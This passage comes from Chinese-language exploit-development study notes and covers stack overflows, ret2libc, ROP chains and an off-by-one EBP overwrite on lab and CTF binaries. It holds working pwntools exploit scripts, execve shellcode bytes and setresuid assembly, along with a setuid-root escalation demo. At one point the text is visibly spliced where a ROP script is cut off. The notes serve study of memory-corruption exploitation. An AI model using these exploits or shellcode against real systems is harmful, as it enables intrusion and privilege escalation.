154 | EIP: 0x42424242 ('BBBB')
155 | ```
156 |
157 | 大体上构造完成, 把 BBBB 写入 eip, 然后正式准备一下使用 ROP 技术, 构造一下 exp.
158 |
159 | ```shell
160 | Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)
161 | Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./vuln
162 | SHELLCODE will be at 0xbffff848
163 | Sn0rt@warzone:~/lab$ ./vuln AA $(python -c 'print "A" * 24 + "\x48\xf8\xff\xbf" + "C" * (261-4-24)')
164 | Valid Password
165 | sh-4.3$ id
166 | uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
167 | sh-4.3$
168 | ```
169 |
170 | 初步利用完成!
171 |
172 | # 0x40 reality
173 |
174 | ## 0x41 CVE-2012-0711
175 |
176 | >Integer signedness error in the db2dasrrm process in the DB2 Administration Server (DAS) in IBM DB2 9.1 through FP11, 9.5 before FP9, and 9.7 through FP5 on UNIX platforms allows remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow.
177 |
178 | 这个 CVE 是`Integer Signedness`导致堆溢出后发生任意代码执行, 待我学习到 heap 部分时候, 尝试来分析一下这个漏洞.
179 |
180 | ### reference
181 |
182 | [^phrack]: [Phrack 0x0b, Issue 0x3c, Phile #0x0a of 0x10](http://phrack.org/issues/60/10.html)
183 | [^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/)
184 |
--------------------------------------------------------------------------------
/chapter2/linux-x86-ret2libc.md:
--------------------------------------------------------------------------------
1 | # 0x00 beginning
2 |
3 | 记录一下学习 ret2libc[^phrack][^wooyun] 的过程, 存在在缓冲区溢出的 C 代码例子.
4 |
5 | ```c
6 | /*
7 | * gcc -fno-stack-protector -m32 -o level1 stack.c
8 | */
9 | #include
10 | #include
11 | #include
12 |
13 | void vulnerable_function() {
14 | char buf[128];
15 | read(STDIN_FILENO, buf, 256);
16 | }
17 |
18 | int main(int argc, char** argv) {
19 | vulnerable_function();
20 | write(STDOUT_FILENO, "Hello, World\n", 13);
21 | }
22 | ```
23 |
24 | 也可以下载现成的 [Target](https://github.com/zhengmin1989/ROP_STEP_BY_STEP/raw/master/linux_x86/level2), 工具依然是 peda 与 pwn 库, 验证一下安全机制的开启.
25 |
26 | ```
27 | gdb-peda$ checksec
28 | CANARY : disabled
29 | FORTIFY : disabled
30 | NX : ENABLED
31 | PIE : disabled
32 | RELRO : Partial
33 | ```
34 |
35 | # 0x01 challenge
36 |
37 | 因为开启了 NX,stack 权限不一样, 本来 level1 上面的是可以执行的, 现在 x 权限拿掉了即使 rop 成功, 把 eip 放到栈上也会应为权限问题导致失败, 可以看见 level2 的 stack 是 rw,level1 的是 rwx.
38 |
39 | ```shell
40 | Sn0rt@warzone:~/lab$ gdb level1
41 | gdb-peda$ vmmap
42 | Start End Perm Name
43 | 0x08048000 0x08049000 r-xp /home/Sn0rt/lab/level1
44 | ...
45 | 0xbffdf000 0xc0000000 rwxp [stack]
46 |
47 | Sn0rt@warzone:~/lab$ gdb level2
48 | gdb-peda$ vmmap
49 | Start End Perm Name
50 | 0x08048000 0x08049000 r-xp /home/Sn0rt/lab/level2
51 | ...
52 | 0xbffdf000 0xc0000000 rw-p [stack]
53 | ```
54 |
55 | # 0x02 solution
56 |
57 | 可以看见 level2 的是使用了 libc 的.
58 |
59 | ```shell
60 | Sn0rt@warzone:~/lab$ ./level2
61 | gdb-peda$ vmmap
62 | Start End Perm Name
63 | ...
64 | 0xb7e23000 0xb7fcb000 r-xp /lib/i386-linux-gnu/libc-2.19.so
65 | 0xb7fcb000 0xb7fcd000 r--p /lib/i386-linux-gnu/libc-2.19.so
66 | 0xb7fcd000 0xb7fce000 rw-p /lib/i386-linux-gnu/libc-2.19.so
67 | ...
68 | ```
69 |
70 | 而已知 lib 里面含有`system`这样的函数, 也含有`/bin/sh`字符串, 构造出`system("/bin/sh")`就可以, 不过 system 的一个实现如下:
71 |
72 | ```c
73 | int
74 | system(const char *command)
75 | {
76 | pid_t pid;
77 | sig_t intsave, quitsave;
78 | sigset_t mask, omask;
79 | int pstat;
80 | char *argp[] = {"sh", "-c", NULL, NULL};
81 | if (!command) /* just checking... */
82 | return(1);
83 | argp[2] = (char *)command;
84 | sigemptyset(&mask);
85 | sigaddset(&mask, SIGCHLD);
86 | sigprocmask(SIG_BLOCK, &mask, &omask);
87 | switch (pid = vfork()) {
88 | case -1: /* error */
89 | sigprocmask(SIG_SETMASK, &omask, NULL);
90 | return(-1);
91 | case 0: /* child */
92 | sigprocmask(SIG_SETMASK, &omask, NULL);
93 | execve(_PATH_BSHELL, argp, environ);
94 | _exit(127);
95 | }
96 | ```
97 |
98 | 可以看出构造出 sh 开头指令, 让 execve 去执行,sh 很多平台是 bash 的符号链接, 而 bash 在早期版本就修正了 sh -c suid 为 0 的安全问题.
99 | 好了, 继续我们手下的活, 找出`/bin/sh`和`system()`位置.
100 |
101 | ```shell
102 | gdb-peda$ p system
103 | $1 = {} 0xb7e63190 <__libc_system>
104 | gdb-peda$ searchmem "/bin/sh" libc
105 | Searching for '/bin/sh' in: libc ranges
106 | Found 1 results, display max 1 items:
107 | libc : 0xb7f83a24 ("/bin/sh")
108 | ```
109 |
110 | 好了, 基本条件都具备了, 准备 exp.
111 |
112 | # 0x03 construction
113 |
114 | exp 布局大约是
115 |
116 | 140bytes 填充 + system 地址 + system 返回过后的地址 + "/bin/sh"地址
117 |
118 | 新的问题来了,system 返回过后的地址是什么? 我打算放的函数`exit()`地址,`exit()`是需要一个参数的. 虽然这样解决也不是很好, 但是起码不会 segment fault.
119 |
120 | ```python
121 | #!/usr/bin/env python
122 | from pwn import *
123 |
124 | p = process('./level2')
125 | ret = 0xb7e561e0
126 | systemaddr = 0xb7e63190
127 | binshaddr = 0xb7f83a24
128 | payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
129 | p.send(payload)
130 | p.interactive()
131 | ```
132 |
133 | ```shell
134 | Sn0rt@warzone:~/lab$ python exp_level2.py
135 | [+] Starting program './level2': Done
136 | [*] Switching to interactive mode
137 | $ id
138 | uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
139 | ```
140 |
141 | # 0x04 others
142 |
143 | 对 suid 程序攻击套路,`setuid(0)`然后`execve("/bin//sh", ["/bin//sh", NULL], [NULL])` 或 `system("/bin/sh")`,shellcode 应该是下面这样子, 不过因为权限问题. 但是这些样功能可以通过`libc`里面以及有点代码构造出来, 而且那些代码没有执行权限的问题.
144 |
145 | ```x86asm
146 | BITS 32
147 |
148 | ; setresuid(uid_t ruid, uid_t euid, uid_t suid);
149 | xor eax, eax ; zero out eax
150 | xor ebx, ebx ; zero out ebx
151 | xor ecx, ecx ; zero out ecx
152 | cdq ; zero out edx using the sign bit from eax
153 | mov BYTE al, 0xa4 ; syscall 164 (0xa4)
154 | int 0x80 ; setresuid(0, 0, 0) restore all root privs
155 |
156 | ; execve(const char *filename, char *const argv [], char *const envp[])
157 | push BYTE 11 ; push 11 to the stack
158 | pop eax ; pop dword of 11 into eax
159 | push ecx ; push some nulls for string termination
160 | push 0x68732f2f ; push "//sh" to the stack
161 | push 0x6e69622f ; push "/bin" to the stack
162 | mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
163 | push ecx ; push 32-bit null terminator to stack
164 | mov edx, esp ; this is an empty array for envp
165 | push ebx ; push string addr to stack above null terminator
166 | mov ecx, esp ; this is the argv array with string ptr
167 | int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
168 | ```
169 |
170 | ### reference
171 |
172 | [^wooyun]: [wooyun drops](http://drops.wooyun.org/tips/6597)
173 | [^phrack]: [Nergal Advanced return-to-libc exploit(s) Phrack 49, Volume 0xb, Issue 0x3a](http://phrack.org/issues/58/4.html)
174 |
--------------------------------------------------------------------------------
/chapter2/linux-x86-rop-chain.md:
--------------------------------------------------------------------------------
1 | # 0x00 background
2 |
3 | 实验吧上面一个 pwn[^question] 拿来学习一下,[pwn5](../media/attach/pwn5).
4 |
5 | # 0x01 recce
6 |
7 | 需要判断出在多少字节发生溢出.
8 |
9 | ```python
10 | python -c 'import string; print(string.ascii_uppercase)'
11 | ```
12 | 利用上面 A-Z 变成输入来判断大约位于多少个字符处发生溢出, 在下面我用 A 字母代替溢出发生的地址.
13 |
14 | ```shell
15 | Please Input Your Name:
16 | ABCDEFGHIJKLMNOPQRSTAAAAYZ
17 |
18 | Program received signal SIGSEGV, Segmentation fault.
19 | [----------------------------------registers-----------------------------------]
20 | EAX: 0x1b
21 | EBX: 0x0
22 | ECX: 0xffffcff8 ("ABCDEFGHIJKLMNOPQRSTAAAAYZ\n")
23 | EDX: 0x400
24 | ESI: 0x8048910 (<__libc_csu_fini>: push ebp)
25 | EDI: 0xc2070e82
26 | EBP: 0x54535251 ('QRST')
27 | ESP: 0xffffd010 --> 0xa5a59 ('YZ\n')
28 | EIP: 0x41414141 ('AAAA')
29 | EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
30 | [-------------------------------------code-------------------------------------]
31 | Invalid $PC address: 0x41414141
32 | [------------------------------------stack-------------------------------------]
33 | 0000| 0xffffd010 --> 0xa5a59 ('YZ\n')
34 | 0004| 0xffffd014 --> 0x80ab5c8 ("Please Input Your Name:\n")
35 | 0008| 0xffffd018 --> 0x18
36 | 0012| 0xffffd01c --> 0x0
37 | 0016| 0xffffd020 --> 0x8048910 (<__libc_csu_fini>: push ebp)
38 | 0020| 0xffffd024 --> 0xc2070e82
39 | 0024| 0xffffd028 --> 0xffffd098 --> 0x0
40 | 0028| 0xffffd02c --> 0x8048475 (<__libc_start_main+421>: mov DWORD PTR [esp],eax)
41 | [------------------------------------------------------------------------------]
42 | Legend: code, data, rodata, value
43 | ```
44 | 成功验证想法.
45 |
46 | ```shell
47 | #0 0x41414141 in ?? ()
48 | (gdb) x/8wx $esp-24
49 | 0xffffd058: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d
50 | 0xffffd068: 0x54535251 0x41414141 0x000a5a59 0x080ab5c8
51 | (gdb) x/8wx $esp-4
52 | 0xffffd06c: 0x41414141 0x000a5a59 0x080ab5c8 0x00000018
53 | 0xffffd07c: 0x00000000 0x08048910 0x9d471dc0 0xffffd0f8
54 | ```
55 | 可以判断 read() 调用在 stack 上面的 buffer 开始地址是 0xffffd058, 且 ret 的地址是 0xxffffd06c.
56 |
57 | # 0x02 simple payload
58 |
59 | 如果我们把 0xffffd06c 里面值由 0x41414141 换成 main 开始的地址, 那么程序按道理说可以输出两次"Please Input Your Name:".
60 |
61 |
62 | ```python
63 | from pwn import *
64 | remote = process('./pwn5')
65 | ret=0x08048285
66 |
67 | palyload = 'A' * 20 + p32(ret)
68 | remote.send(palyload)
69 | remote.interactive()
70 | ```
71 |
72 | ```shell
73 | ➜ Downloads python simple.py
74 | [+] Started program './pwn5'
75 | [*] Switching to interactive mode
76 | Please Input Your Name:
77 | Please Input Your Name:
78 | ```
79 |
80 | 成功验证想法.
81 |
82 | ```shell
83 | (gdb) checksec
84 | CANARY : disabled
85 | FORTIFY : disabled
86 | NX : ENABLED
87 | PIE : disabled
88 | RELRO : disabled
89 | ```
90 |
91 | 发现了启用了 nx 安全机制, 那么在栈上面布局 shellcode 不现实 [^storm].
92 |
93 | # 0x03 ROPgadget
94 |
95 | 既然 NX 启动了, 按照套路寻找 gadget, 这个体力活可以利用自动化的工具构造 rop chain[^roptools].
96 |
97 | ```shell
98 | ROPgadget --binary pwn5 --ropchain
99 | ```
100 | 一条指令完成很多工作.
101 |
102 | ```python
103 | #!/usr/bin/env python2
104 | # execve generated by ROPgadget
105 |
106 | from struct import pack
107 | import pwn
108 | remote = pwn.process('./pwn5')
109 | #remote = pwn.remote('124.42.117.57',8885)
110 | #remote.recv()
111 |
112 | # Padding goes here
113 | p = ''
114 | p += pack('
15 | #include
16 | #include
17 |
18 | void vulnerable_function() {
19 | char buf[128];
20 | read(STDIN_FILENO, buf, 256);
21 | }
22 |
23 | int main(int argc, char** argv) {
24 | vulnerable_function();
25 | write(STDOUT_FILENO, "Hello, World\n", 13);
26 | }
27 | ```
28 |
29 | # 0x02 recce
30 |
31 | pead 可以帮你生成用于测试缓冲区的填充数据.
32 |
33 | ```shell
34 | gdb-peda$ pattern create 150
35 | 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
36 | gdb-peda$ run
37 | Starting program: /home/Sn0rt/workspace/exp_devel_doc/lab/level1
38 | Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-16.fc23.i686
39 | AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
40 |
41 | Program received signal SIGSEGV, Segmentation fault.
42 | [----------------------------------registers-----------------------------------]
43 | EAX: 0x97
44 | EBX: 0x0
45 | ECX: 0xffffcef0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377")
46 | EDX: 0x100
47 | ESI: 0x1
48 | EDI: 0xf7fb4000 --> 0x1c8db0
49 | EBP: 0x41514141 ('AAQA')
50 | ESP: 0xffffcf80 ("RAAoAA\n\377")
51 | EIP: 0x41416d41 ('AmAA')
52 | EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
53 | [-------------------------------------code-------------------------------------]
54 | Invalid $PC address: 0x41416d41
55 | [------------------------------------stack-------------------------------------]
56 | 0000| 0xffffcf80 ("RAAoAA\n\377")
57 | 0004| 0xffffcf84 --> 0xff0a4141
58 | 0008| 0xffffcf88 --> 0x0
59 | 0012| 0xffffcf8c --> 0xf7e03545 (<__libc_start_main+245>: add esp,0x10)
60 | 0016| 0xffffcf90 --> 0x1
61 | 0020| 0xffffcf94 --> 0xf7fb4000 --> 0x1c8db0
62 | 0024| 0xffffcf98 --> 0x0
63 | 0028| 0xffffcf9c --> 0xf7e03545 (<__libc_start_main+245>: add esp,0x10)
64 | [------------------------------------------------------------------------------]
65 | Legend: code, data, rodata, value
66 | Stopped reason: SIGSEGV
67 | 0x41416d41 in ?? ()
68 | gdb-peda$ pattern offset AmAA
69 | AmAA found at offset: 140
70 |
71 | ```
72 |
73 | # 0x03 shellcode
74 |
75 | peda 可以帮你生成测试用的 shellcode, 这个 shellcode 看见参数可以猜测就是执行一个 shell 没有 setuid(0).
76 |
77 | ```shell
78 | Sn0rt@warzone:~/lab$ gdb -q --batch -ex "shellcode generate x86/linux exec"
79 | # x86/linux/exec: 24 bytes
80 | shellcode = (
81 | "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
82 | "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
83 | )
84 | ```
85 | 也可以把 shelllcode 取出来, 放到环境变量里面, 虽然在这个 lab 里面没有用上, 但是 shellcode 放置在环境变量中也是个思路, 尤其是当 buffer 不够放置 shellcode 时候尤为合适.
86 |
87 | ```shell
88 | Sn0rt@warzone:~/lab$ for i in $(cat up_filename.c|grep "^\"" | cut -d\" -f2); do echo -en $i; done
89 | ```
90 |
91 | # 0x04 implementation
92 |
93 | 程序在 140 字节时候的字节覆盖了 eip, 那么可以把 shellcode 放到内存里面, 然后通过溢出 eip 来转跳到 shellcode 地址开始执行, 不过这个有点难度可以使用 nop 来布置一下内存, 让 eip 落到
94 | nop 的地方, 在一堆 nop 之后放置 shellcode, 这样难度小一点, 这个具体要看实际情况, 我们的 shellcode 24 字节远远小于 140 字节的缓冲区大小, 那么缓冲区布局可以是
95 |
96 | ```shell
97 | nop + shellcode + 'AAA..' + return
98 | ```
99 |
100 | exp 整理, 把 peda 生成的 shellcode 复制进去.
101 |
102 | ```python
103 | #!/usr/bin/env python
104 | from pwn import *
105 | p = process('./level1')
106 | ret = 0xbfffffff
107 | shellcode = "\x90" * 20
108 | shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
109 | shellcode += "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
110 | payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
111 | p.send(payload)
112 | p.interactive()
113 | ```
114 |
115 | exp 调整, 把 ret 地址换成缓冲区开始地址 (0xbffff5d0), 应为我在栈上布置了 20 字节的 nop, 所有 ret 等于开始地址 +20 以内就可以了.
116 |
117 | ```shell
118 | Sn0rt@warzone:~/lab$ ls /tmp/
119 | total 76
120 | -rw------- 1 Sn0rt Sn0rt 221184 May 23 12:07 core.1464019622
121 | Sn0rt@warzone:~/lab$ gdb level1 /tmp/core.1464019622
122 | Reading symbols from level1...(no debugging symbols found)...done.
123 | [New LWP 2123]
124 | Core was generated by `./level1'.
125 | Program terminated with signal SIGILL, Illegal instruction.
126 | #0 0xbffff65e in ?? ()
127 | gdb-peda$ x/s $esp-144
128 | 0xbffff5d0: "1\300Ph//shh/bin\211\343\061ɉ\312j\vX̀", 'A' , "\020\366\377\277\304\323",
129 | gdb-peda$ quit
130 | Sn0rt@warzone:~/lab$ vim exp.py
131 | Sn0rt@warzone:~/lab$ python exp.py
132 | [+] Starting program './level1': Done
133 | [*] Switching to interactive mode
134 | $ id
135 | uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
136 | ```
137 | 最基本的栈溢出完成.
138 |
139 | # 0x05 thinking
140 |
141 | ### sh 符号链接问题
142 |
143 | 在 SEED 文档里面提及, 关于替换 sh 符号链接提高安全性. 然后测试结果`ln -s /bin/zsh /bin/sh`使的 exp 变的失效, 和 SSED 参考手册里面不一致 (可能是 zsh 版本).
144 | `ln -s /bin/bash /bin/sh` or `ln -s /bin/dash /bin/sh` exp 能继续执行.
145 |
146 | ```shell
147 | Sn0rt@warzone:~/lab$ zsh --version
148 | zsh 5.0.2 (i686-pc-linux-gnu)
149 | Sn0rt@warzone:~/lab$ bash --version
150 | GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)
151 | ```
152 |
153 | ### euid 权限问题
154 |
155 | ```shell
156 | Sn0rt@warzone:~/lab$ sudo chown root:root level1
157 | Sn0rt@warzone:~/lab$ sudo chmod u+s level1
158 | Sn0rt@warzone:~/lab$ python exp_level1.py
159 | [+] Starting program './level1': Done
160 | [*] Switching to interactive mode
161 | $ id
162 | uid=1042(Sn0rt) gid=1043(Sn0rt) euid=0(root) groups=0(root),1043(Sn0rt)
163 | $ passwd root
164 | passwd: You may not view or modify password information for root.
165 | ```
166 |
167 | uid 不是 root,euid() 是 root, 虽然不能修改 root 密码, 但是 dump shadow 不是问题, 这个现象应该就是 SEED 里面说的 (虽然 zsh 高版本好像显的更安全).
168 |
169 | >Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool”a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash.
170 |
171 | 不过把 uid 变成 0 也可以的, 因为 bash 起码 root 能用, 可以让 shellcode 执行`setuid(0)`把 setuid root 的进程变成真正的 root 进程, 然后`execve("/bin//sh", ["/bin//sh", NULL], [NULL])`.
172 |
173 | ### reference
174 |
175 | [^wooyun]: [wooyun drops](http://drops.wooyun.org/tips/6597)
176 | [^phrack]: [Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49](http://cecs.wright.edu/~tkprasad/courses/cs781/alephOne.html)
177 | [^SEED]: [seed](http://www.cis.syr.edu/~wedu/seed/)
178 |
--------------------------------------------------------------------------------
/chapter2/off-by-one.md:
--------------------------------------------------------------------------------
1 | # 0x00 beginning
2 |
3 | >What is off-by-one bug?
4 |
5 | 当被复制字符长度等于目的缓冲区的长度, 字符串结尾的`NULL`可能会覆盖和目的地址相邻的一个字节, 如果是在`stack`上面, 这个字节是函数调用者的`EBP`, 这个可能导致任意代码执行 [^origin].
6 |
7 | 存在的漏洞的代码:
8 |
9 | ```c
10 | // gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
11 |
12 | #include
13 | #include
14 |
15 | void foo(char* arg);
16 | void bar(char* arg);
17 |
18 | void foo(char* arg) {
19 | bar(arg); /* [1] */
20 | }
21 |
22 | void bar(char* arg) {
23 | char buf[256];
24 | strcpy(buf, arg); /* [2] */
25 | }
26 |
27 | int main(int argc, char *argv[]) {
28 | if(strlen(argv[1])>256) { /* [3] */
29 | printf("Attempted Buffer Overflow\n");
30 | fflush(stdout);
31 | return -1;
32 | }
33 | foo(argv[1]); /* [4] */
34 | return 0;
35 | }
36 | ```
37 |
38 | 标号 [2] 处就是`off-by-one`发生的地方, 目的缓冲区长度是 256 而源字符串长度也是 256.
39 |
40 | >It affects generated code in your binary. By default, GCC will arrange things so that every function, immediately upon entry, has its stack pointer aligned on **16-byte** boundary (this may be important if you have local variables, and enable sse2 instructions).
41 | If you change the default to e.g. -mpreferred-stack-boundary=2, then GCC will align stack pointer on **4-byte boundary**. This will reduce stack requirements of your routines, but will crash if your code (or code you call) does use sse2, so is generally not safe.
42 |
43 | 编译选项`mpreferred-stack-boundary`, 参考 [这个](http://stackoverflow.com/questions/10251203/gcc-mpreferred-stack-boundary-option).
44 |
45 | ```shell
46 |
47 | gdb-peda$ disassemble foo
48 | Dump of assembler code for function foo:
49 | 0x080484cd <+0>: push ebp
50 | 0x080484ce <+1>: mov ebp,esp
51 | 0x080484d0 <+3>: sub esp,0x18
52 | ...
53 | End of assembler dump.
54 |
55 | gdb-peda$ disassemble foo
56 | Dump of assembler code for function foo:
57 | 0x080484cd <+0>: push ebp
58 | 0x080484ce <+1>: mov ebp,
59 | 0x080484d0 <+3>: sub esp,0x4
60 | ...
61 | End of assembler dump.
62 |
63 | gdb-peda$ disassemble main
64 | 0x08048588 <+0>: push ebp
65 | 0x08048589 <+1>: mov ebp,esp
66 | 0x0804858b <+3>: and esp,0xfffffff0
67 | ...
68 | End of assembler dump.
69 | ...
70 | 0x08048500 <+0>: push ebp
71 | 0x08048501 <+1>: mov ebp,esp
72 | 0x08048503 <+3>: sub esp,0x4
73 | ...
74 | ```
75 |
76 | 可以看见函数的序言部分, 栈抬高的大小不同,`foo`默认抬高是 24 字节,`main`是 16 字节, 通过上面的编译选项可以变成 4 字节.
77 |
78 | # 0x01 分析
79 |
80 | > 如何去获得任意代码执行?
81 |
82 | 这里去执行任意代码的技术叫`EBP overwrite`, 如果在内存布局当中调用者的`EBP`是位于`strcpy()`目的缓冲区之后, 那么`NULL`字节将会调用者的`EBP`的最后一字节覆盖掉.
83 | 看代码我们准备输入 256 字节的数据, 按照理论`NULL`会覆盖 foo 函数的`EBP`的最后字节为 00,
84 |
85 | ```shell
86 | Sn0rt@warzone:~/lab$ gdb off_by_one2
87 | Reading symbols from off_by_one2...done.
88 | gdb-peda$ b bar
89 | gdb-peda$ r $(python -c 'print "A"*256')
90 | gdb-peda$ next
91 | [----------------------------------registers-----------------------------------]
92 | ...
93 | EBP: 0xbffff5a0 --> 0xbffff500 ('A' )
94 | ...
95 | [-------------------------------------code-------------------------------------]
96 | 0x80484f6 : mov DWORD PTR [esp],eax
97 | 0x80484f9 : call 0x8048380
98 | => 0x80484fe : leave
99 | 0x80484ff : ret
100 | [------------------------------------stack-------------------------------------]
101 | ...
102 | [------------------------------------------------------------------------------]
103 | Legend: code, data, rodata, value
104 | 14 }
105 | gdb-peda$ bt
106 | #0 bar (arg=0xbffff7a0 'A' ...) at off_by_one.c:14
107 | #1 0x080484de in foo (arg=0x41414141 ) at off_by_one.c:8
108 | Backtrace stopped: previous frame inner to this frame (corrupt stack?)
109 | ```
110 | gdb 可以质疑 backtrace 的时候调用栈遭到了破坏, 在上面寄存器区域可以看到`EBP`变成了`0xbffff500`.
111 |
112 | > EBP 被修改了与 EIP 什么关系?
113 |
114 | 按照内存布局,foo 调用 bar,bar 函数调用`strcpy()`在`strcpy()`返回时候,foo 的`ebp`被修改了一点, 但`ebp`边上的 4 个字节是原来 foo 返回 main 的转跳地址, 这里就控制程序突破的地方!
115 |
116 | ```x86asm
117 | call:
118 | push, eip
119 | jmp lable
120 | leave:
121 | mov ebp, esp;
122 | pop ebp;
123 | ret:
124 | pop eip
125 | ```
126 | 上面这几条汇编指令理解可以帮助搞明白函数调用过程.
127 |
128 | ```shell
129 | gdb-peda$ bt
130 | #0 bar (arg=0xbffff7a0 'A' ...) at off_by_one.c:14
131 | #1 0x080484de in foo (arg=0x41414141 ) at off_by_one.c:8
132 | Backtrace stopped: previous frame inner to this frame (corrupt stack?)
133 | ```
134 | 栈回溯时候 gdb 可以发现 foo 返回 main 的路线遭到了破坏.
135 |
136 | ```shell
137 | gdb-peda$ next
138 | [----------------------------------registers-----------------------------------]
139 | ...
140 | EBP: 0xbffff500 ('A' )
141 | ESP: 0xbffff5a8 --> 0xbffff7a0 ('A' ...)
142 | EIP: 0x80484de (: leave)
143 | ...
144 | [-------------------------------------code-------------------------------------]
145 | 0x80484d3 : mov eax,DWORD PTR [ebp+0x8]
146 | 0x80484d6 : mov DWORD PTR [esp],eax
147 | 0x80484d9 : call 0x80484e0
148 | => 0x80484de : leave
149 | 0x80484df : ret
150 | [------------------------------------stack-------------------------------------]
151 | ...
152 | Stopped reason: SIGSEGV
153 | ```
154 |
155 | 现在已经返回到 foo 了, 且准备继续像上返回, 这个时候问题暴露出来了, 违规了内存访问导致了`segment fault`.
156 |
157 | # 0x02 how to use?
158 |
159 | > What is the offset from destination buffer ?
160 |
161 | 快速定位还是很容易的, 先利用起来, 套路如下:
162 |
163 | ```shell
164 | Sn0rt@warzone:~/lab$ gdb off_by_one2
165 | Reading symbols from off_by_one2...done.
166 | gdb-peda$ pattern
167 | pattern pattern_arg pattern_create pattern_env pattern_offset pattern_patch pattern_search
168 | gdb-peda$ pattern_arg 256
169 | Set 1 arguments to program
170 |
171 | gdb-peda$ r
172 | Starting program: /home/Sn0rt/lab/off_by_one2 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
173 |
174 | Program received signal SIGSEGV, Segmentation fault.
175 | [----------------------------------registers-----------------------------------]
176 | EAX: 0xbffff470 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...)
177 | EBX: 0xb7fcd000 --> 0x1a9da8
178 | ECX: 0xbffff870 --> 0x58006225 ('%b')
179 | EDX: 0xbffff56e --> 0xf5006225
180 | ESI: 0x0
181 | EDI: 0x0
182 | EBP: 0x6e414152 ('RAAn')
183 | ESP: 0xbffff508 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
184 | EIP: 0x41534141 ('AASA')
185 | EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
186 | [-------------------------------------code-------------------------------------]
187 | Invalid $PC address: 0x41534141
188 | [------------------------------------stack-------------------------------------]
189 | 0000| 0xbffff508 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
190 | 0004| 0xbffff50c ("TAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
191 | 0008| 0xbffff510 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
192 | 0012| 0xbffff514 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
193 | 0016| 0xbffff518 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
